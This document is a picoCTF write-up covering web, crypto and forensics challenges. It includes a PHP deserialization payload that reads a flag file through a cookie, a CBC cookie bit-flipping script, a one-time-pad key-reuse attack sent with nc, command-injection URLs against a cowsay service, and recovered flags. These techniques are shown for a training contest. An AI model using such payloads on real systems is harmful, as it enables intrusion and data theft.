--- tags: CTF writeup --- # picoCTF write up [![hackmd-github-sync-badge](https://hackmd.io/TyHHN5S1TSqTWTsmILwv0A/badge)](https://hackmd.io/TyHHN5S1TSqTWTsmILwv0A) ## Web ### Scavenger Hunt #### Description: There is some interesting information hidden around this site http://mercury.picoctf.net:27278/. Can you find it? #### Hint1: You should have enough hints to find the files, don't run a brute forcer. --- ### Cookies #### Description: Who doesn't love cookies? Try to figure out the best one. http://mercury.picoctf.net:6418/ #### Hint: (none) --- When you enter in link you will see this.![](https://i.imgur.com/PE0i1jx.png) When you type all the cookies name in, they turn into <font color=red>"That doesn't appear to be a valid cookie."</font> ![](https://i.imgur.com/vhE7YcE.png) And if you just enter "nickerdoodle" if turn out the page like:![](https://i.imgur.com/Q2WxXci.png) Change the cookie "name"'s value to 18 and you will get the flag. <br></br> ### Some Assembly Required 1 #### Hint: (none) --- The login page is like this: You can see G82XCw5CX3.js in sourse and "./JIFxzHyW8W" in the file Add it to the URL then there is a file be download. Open it and get the flag ![](https://i.imgur.com/WVtuQ0K.png) <br></br> ### Some Assembly Required 2 #### Hint: (none) https://gchq.github.io/CyberChef/#recipe=Magic(3,true,false,'pico')&input=K3hha2dLXE5zbW47ajhqPDk7PD89bD9rODhtbTFuOWkxaj46OGs/bDB1 ### Super Serial #### Description: Try to recover the flag stored on this website. http://mercury.picoctf.net:8404/ #### Hint1: The flag is at ../flag --- The login page is like this:<br> ![](https://i.imgur.com/MGPCJvb.png)<br> Add "/robots.txt" to the URL. Then we will get another hint like this: ![](https://i.imgur.com/X98VbdN.png)<br> Add "/admin.phps" to URL, but doesn't have this page. Go back to the main page and you will find "index.php" in html Mix the hint that you got in robots.txt put "s" behind "php" ![](https://i.imgur.com/rwFdI0n.png) There is "cookie.php" and "authentication.php" in html. And the code "base64_encode(serialize()" implys it is [unserialize](https://codertw.com/%E7%A8%8B%E5%BC%8F%E8%AA%9E%E8%A8%80/206041/) and base64 Go to "/cookie.phps" and you will see a php is cut into two parts. [access_log](https://lanjingling.github.io/2016/03/14/nginx-access-log/) is a command that choose the nginx diary's place. So put together like this: ```php= <?php class access_log { public $log_file; function __construct($lf) { $this->log_file = $lf; } function __toString() { return $this->read_log(); } function append_to_log($data) { file_put_contents($this->log_file, $data, FILE_APPEND); } function read_log() { return file_get_contents($this->log_file); } } echo(serialize(new access_log("../flag"))); { } ?> ``` Run the program and get garbled like this 'O:10:"access_log":1:{s:8:"log_file";s:7:"../flag";}' and turn it to base64. Add it to the "/authentication.php"'s cookie's value with the name "login" And you will get the flag ![](https://i.imgur.com/kd0zPCn.png) ### More Cookies #### Description: I forgot Cookies can Be modified Client-side, so now I decided to encrypt them! http://mercury.picoctf.net:25992/ #### Hint1: https://en.wikipedia.org/wiki/Homomorphic_encryption #### Hint2: The search endpoint is only helpful for telling you if you are admin or not, you won't be able to guess the flag name. --- When you enter in link you will see this, but it actually not important. ![](https://i.imgur.com/yM52egM.png) Look the value of the admin in client side. And put the value to decode and find there don't have flag comeout. ![](https://i.imgur.com/20UEtpp.png) With the hint1 can find that it is encode by CBC. Then write the code like: ```python= import requests import base64 s=requests.Session() s.get("http://mercury.picoctf.net:25992/") cookie=s.cookies["auth_name"] print(cookie) unb64=base64.b64decode(cookie) print(unb64) unb64b=base64.b64decode(unb64) for i in range (0,128) : pos=i//8 guessdec=unb64b[0:pos]+chr(ord(unb64b[pos])^(1<<(i%8))) +unb64b[pos+1:] guessenc1 = base64.b64encode(guessdec) guess=base64.b64encode(base64.b64encode(guessdec)) r=requests.get("http://mercury.picoctf.net:25992/" ,cookies={"auth_name": guess}) if "pico" in r.text: print(r.text) ``` ### It is my birthday #### Description: I sent out 2 invitations to all of my friends for my birthday! I'll know if they get stolen because the two invites look similar, and they even have the same md5 hash, but they are slightly different! You wouldn't believe how long it took me to find a collision. Anyway, see if you're invited by submitting 2 PDFs to my website. http://mercury.picoctf.net:57247/ #### Hint1: Look at the category of this problem. #### Hint2: How may a PHP site check the rules in the description? --- See the Hint2, the rules that php site check in the description is [hash](https://www.youtube.com/watch?v=vPvxEDyxI2w&t=60s)-md5. And then see the login page ![](https://i.imgur.com/kGfvJYn.png) It means that we have to find two PDF file that have same md5sum. It happened if MD5 collision. Search "md5 file hash collision" then find [this page](https://crypto.stackexchange.com/questions/1434/are-there-two-known-strings-which-have-the-same-md5-hash-value). ![](https://i.imgur.com/JZh65cl.png) Get them and change the name to ".pdf" Push them to the website,and you will get the flag! ![](https://i.imgur.com/OnCKocQ.png) ### login #### Description: My dog-sitter's brother made this website but I can't get in; can you help? login.mars.picoctf.net #### Hint (None) --- See "index.js" in html, so go to "/index.js" ![](https://i.imgur.com/BhVUnZX.png) ```php= (async()=>{await new Promise((e=>window.addEventListener("load",e))),document.querySelector("form").addEventListener("submit",(e=>{e.preventDefault();const r={u:"input[name=username]",p:"input[name=password]"},t={};for(const e in r)t[e]=btoa(document.querySelector(r[e]).value).replace(/=/g,"");return"YWRtaW4"!==t.u?alert("Incorrect Username"):"cGljb0NURns1M3J2M3JfNTNydjNyXzUzcnYzcl81M3J2M3JfNTNydjNyfQ"!==t.p?alert("Incorrect Password"):void alert(`Correct Password! Your flag is ${atob(t.p)}.`)}))})(); ``` Decode base64 "cGljb0NURns1M3J2M3JfNTNydjNyXzUzcnYzcl81M3J2M3JfNTNydjNyfQ" in code. And get the flag picoCTF{53rv3r_53rv3r_53rv3r_53rv3r_53rv3r} <br> ## Category ### Transformation #### Description: I wonder what this really is... enc ''.join([chr((ord(flag[i]) << 8) + ord(flag[i + 1])) for i in range(0, len(flag), 2)]) #### Hint1: You may find some decoders online --- Don't care about the hint, it is really without any help. Try to understand this code ``` python= ''.join([chr((ord(flag[i]) << 8) + ord(flag[i + 1])) for i in range(0, len(flag), 2)]) ``` And you will find that the first 8 bits in every encode words are the sourse code odd numbers' words, because it moved 8 bits when it is encode. And then you can write down the reverse code: ```python= encoded_string = "灩捯䍔䙻ㄶ形楴獟楮獴㌴摟潦弸弰摤捤㤷慽" for i in range(len(encoded_string)): print(chr(ord(encoded_string[i])>>8),chr((ord(encoded_string[i]))-((ord(encoded_string[i])>>8)<<8)), end = "",sep = "") ``` Then you will get the flag:picoCTF{16_bits_inst34d_of_8_0ddcd97a} ### New Caesar #### Description: We found a brand new type of encryption, can you break the secret code? (Wrap with picoCTF{}) mlnklfnknljflfjljnjijjmmjkmljnjhmhjgjnjjjmmkjjmijhmkjhjpmkmkmljkjijnjpmhmjjgjj [new_caesar.py](https://mercury.picoctf.net/static/43182e6d4527ef0916b2ce43883227b7/new_caesar.py) #### Hint1: How does the cipher work if the alphabet isn't 26 letters? #### Hint2: Even though the letters are split up, the same paradigms still apply --- the encode code is like this: ```python= import string LOWERCASE_OFFSET = ord("a") ALPHABET = string.ascii_lowercase[:16] def b16_encode(plain): #separate the 8 bits letter to 4-4 bits and become two letters enc = "" for c in plain: binary = "{0:08b}".format(ord(c)) enc += ALPHABET[int(binary[:4], 2)] enc += ALPHABET[int(binary[4:], 2)] return enc def shift(c, k): #caesar (key - LOWERCASE) shift t1 = ord(c) - LOWERCASE_OFFSET t2 = ord(k) - LOWERCASE_OFFSET return ALPHABET[(t1 + t2) % len(ALPHABET)] flag = "donotknow" key = "?" assert all([k in ALPHABET for k in key]) # the key is in ALPHABET assert len(key) == 1 #we can know that len(key) == 1 b16 = b16_encode(flag) enc = "" for i, c in enumerate(b16): enc += shift(c, key[i % len(key)]) print(enc) ``` the direct decode is like this: ```python= import string out = "mlnklfnknljflfjljnjijjmmjkmljnjhmhjgjnjjjmmkjjmijhmkjhjpmkmkmljkjijnjpmhmjjgjj" ALPHABET = string.ascii_lowercase[:16] LOWERCASE_OFFSET = ord("a") def shift(c,k): #let the original code shorter return ALPHABET[(ord(c) - ord(k)) % 16] def b16_encode(plain): #fix the two letter to one letter de2 = "" for i in range(0,len(plain),2): bi = "{0:04b}".format(ord(plain[i])-LOWERCASE_OFFSET) + "{0:04b}".format(ord(plain[i+1])-LOWERCASE_OFFSET) de2 += chr(int(bi,2)) return de2 for key in ALPHABET: # because len(key) == 1, and we don't know which it is, so we try all de1 = "" for i in out: de1 += shift(i, key) flag = b16_encode(de1) ``` output: ``` a ËÚµÚÛµÌÇÊÈÊ b ºÉ¤ÉÊ ¤» º¶ ¹·¹¹¹º ¶¸ c ©¸¸¹sy{vwªx©{u¥t{wz¨w¦u¨u}¨¨©xv{}¥§tw d §¨bhjefgcjfifddlcf e qQqWYTUVYSRYUXU SS[VTY[ RU f v ` @`FHCDwEvHBrAHDGuDsBuBJuuvECHJrtAD g et_tu?_5723f4e71a0736d3b1d19dde4279ac03 h TcNcd.N$&!"U#T& P/&"%S"Q S (SST#!&(PR/" i CR=RS=DCOB@BBBCOA j 2A,AB 1?1112>032> k !01ûóþÿ"ð!óý-üóÿò ÿ.ý ýõ !ðþóõ-/üÿ l / / ê àâíîïâìëâîáîììäïíâäëî m ùÙùßÑÜÝÞÑÛ ÚÑÝÐÝ ÛÛÓÞÜÑÓ ÚÝ ÈèÎÀËÌÿÍþÀÊúÉÀÌÏýÌûÊýÊÂýýþÍËÀÂúüÉÌ o íü×üý·×½¿º»î¼í¿¹é¸¿»¾ì»ê¹ì¹±ììí¼º¿±é븻 p ÜëÆëì¦Æ¬®©ªÝ«Ü®¨Ø§®ª­ÛªÙ¨Û¨ ÛÛÜ«©® ØÚ§ª ``` the shorter decode is like this: ```python= import string out = "mlnklfnknljflfjljnjijjmmjkmljnjhmhjgjnjjjmmkjjmijhmkjhjpmkmkmljkjijnjpmhmjjgjj" ALPHABET = string.ascii_lowercase[:16] for key in range(16): flag = "" for i in range(0,len(out),2): bi = "{0:04b}".format(ord(ALPHABET[(ord(out[i]) - key) % 16]) -97) + "{0:04b}".format(ord(ALPHABET[(ord(out[i+1]) - key) % 16])-97) flag += chr(int(bi,2)) print(key, flag) ``` output: ``` 0 ÜëÆëì¦Æ¬®©ªÝ«Ü®¨Ø§®ª­ÛªÙ¨Û¨ ÛÛÜ«©® ØÚ§ª 1 ËÚµÚÛµÌÇÊÈÊ 2 ºÉ¤ÉÊ ¤» º¶ ¹·¹¹¹º ¶¸ 3 ©¸¸¹sy{vwªx©{u¥t{wz¨w¦u¨u}¨¨©xv{}¥§tw 4 §¨bhjefgcjfifddlcf 5 qQqWYTUVYSRYUXU SS[VTY[ RU 6 v ` @`FHCDwEvHBrAHDGuDsBuBJuuvECHJrtAD 7 et_tu?_5723f4e71a0736d3b1d19dde4279ac03 8 TcNcd.N$&!"U#T& P/&"%S"Q S (SST#!&(PR/" 9 CR=RS=DCOB@BBBCOA 10 2A,AB 1?1112>0,32> 11 !01ûóþÿ"ð!óý-üóÿò ÿ.ý ýõ !ðþóõ-/üÿ 12 / / ê àâíîïâìëâîáîììäïíâäëî 13 ùÙùßÑÜÝÞÑÛ ÚÑÝÐÝ ÛÛÓÞÜÑÓ ÚÝ ÈèÎÀËÌÿÍþÀÊúÉÀÌÏýÌûÊýÊÂýýþÍËÀÂúüÉÌ 15 íü×üý·×½¿º»î¼í¿¹é¸¿»¾ì»ê¹ì¹±ììí¼º¿±é븻 ``` ### Easy Peasy #### Description: A one-time pad is unbreakable, but can you manage to recover the flag? (Wrap with picoCTF{}) nc mercury.picoctf.net 36449 otp.py #### Hint1: Maybe there's a way to make this a 2x pad. --- this is the code: ```python= #!/usr/bin/python3 -u import os.path KEY_FILE = "key" KEY_LEN = 50000 FLAG_FILE = "flag" def startup(key_location): flag = open(FLAG_FILE).read() kf = open(KEY_FILE, "rb").read() start = key_location stop = key_location + len(flag) key = kf[start:stop] key_location = stop result = list(map(lambda p, k: "{:02x}".format(ord(p) ^ k), flag, key)) print("This is the encrypted flag!\n{}\n".format("".join(result))) return key_location def encrypt(key_location): ui = input("What data would you like to encrypt? ").rstrip() if len(ui) == 0 or len(ui) > KEY_LEN: return -1 start = key_location stop = key_location + len(ui) kf = open(KEY_FILE, "rb").read() if stop >= KEY_LEN: stop = stop % KEY_LEN key = kf[start:] + kf[:stop] else: key = kf[start:stop] key_location = stop result = list(map(lambda p, k: "{:02x}".format(ord(p) ^ k), ui, key)) print("Here ya go!\n{}\n".format("".join(result))) return key_location print("******************Welcome to our OTP implementation!******************") c = startup(0) while c >= 0: c = encrypt(c) ``` Because we want to get the same part of key that encrypt flag, so we input: ```shell= python -c "print('0'*49968);print('0'*32);" | nc mercury.picoctf.net 36449 ``` And then we get the hex key that xor with "0", so we need to decode it. ```python= out = 0x551257106e1a52095f654f510a6b4954026c1e0304394100043a1c5654505b6b hexkey = 0x521754106c485101596c4800026c4853546c4852516c4853046c485552015e6c a = 0x3030303030303030303030303030303030303030303030303030303030303030 print(out ^ hexkey ^ a) print("{:x}".format(out ^ hexkey ^ a)) ``` ### Caas #### Description Now presenting cowsay as a service #### Hint: (None) --- 輸入 ``` https://caas.mars.picoctf.net/cowsay/a;cat ls https://caas.mars.picoctf.net/cowsay/a;cat falg.txt ``` ![](https://i.imgur.com/HlLxVeg.png) </br> ## Forensics ### MacroHard WeakEdge #### Description I've hidden a flag in this file. Can you find it? Forensics is fun.pptm #### Hint: (None) --- ```shell $ binwalk -e 'Forensics is fun.pptm' $ cd '_Forensics is fun.pptm.extracted'/ppt/slideMasters/ $ strings hidden ``` 顯示 ``` Z m x h Z z o g c G l j b 0 N U R n t E M W R f d V 9 r b j B 3 X 3 B w d H N f c l 9 6 M X A 1 f Q ``` base64 decode 得到 ``` flag: picoCTF{D1d_u_kn0w_ppts_r_z1p5} ```